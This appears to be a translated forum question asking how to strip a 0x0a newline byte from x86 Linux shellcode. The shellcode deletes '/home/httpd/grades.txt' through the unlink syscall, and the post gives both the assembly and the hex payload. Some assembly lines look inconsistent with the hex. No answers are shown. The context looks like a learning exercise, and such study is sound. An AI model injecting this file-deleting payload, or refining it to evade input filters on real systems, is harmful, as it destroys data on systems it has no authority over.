Eliminando 0x0a de ShellCode para el archivo de desvinculación

1

Escribí un código de shell para desvincular un archivo del sistema, pero cuando extraje el código hexadecimal del archivo binario, consta del byte \ x0a , porque el número de llamada sys para la función de desvinculación es 10, por lo que esencialmente se trata como un nuevo carácter de línea mientras ejecuto mi código hexadecimal. Por lo tanto, restringir el resto del código de la ejecución.

Mi shell es (shellcode.S):

#include 

#define STRING  "/home/httpd/grades.txt"
#define STRLEN  22
#define CODE 0x05

.globl main
        .type   main, @function

 main:
        jmp     calladdr

 popladdr:
        popl    %esi
        xorl    %eax,%eax               /* get a 32-bit zero value */
        movb    %al,(STRLEN)(%esi)      /* null-terminate our string */

        addb    %ecx,5
        movb    $ecx,%al                /* syscall arg 1: syscall number */
        movl    %esi,%ebx               /* syscall arg 2: string pathname */
        int     $0x80                   /* invoke syscall */

        xorl    %ebx,%ebx               /* syscall arg 2: 0 */
        movl    %ebx,%eax
        inc     %eax                    /* syscall arg 1: SYS_exit (1), uses */
                                        /* mov+inc to avoid null byte */
        int     $0x80                   /* invoke syscall */

 calladdr:
        call    popladdr
        .ascii  STRING

El código hexadecimal para el archivo bin de shellcode es:

char shellcode[] = "\xeb\x13\x5e\x31\xc0\x88\x46\x16\xb0\x0a\x89\xf3"
                   "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xe8\xff"
                   "\xff\xff\x2f\x68\x6f\x6d\x65\x2f\x68\x74\x74\x70"
                   "\x64\x2f\x67\x72\x61\x64\x65\x73\x2e\x74\x78\x74"

Por lo tanto, sugiera algún método para eliminar esto con el mismo funcionamiento de shellcode.

¡Gracias por ayuda!

    
pregunta Shubham Jain 05.02.2017 - 20:10
fuente

0 respuestas

Lea otras preguntas en las etiquetas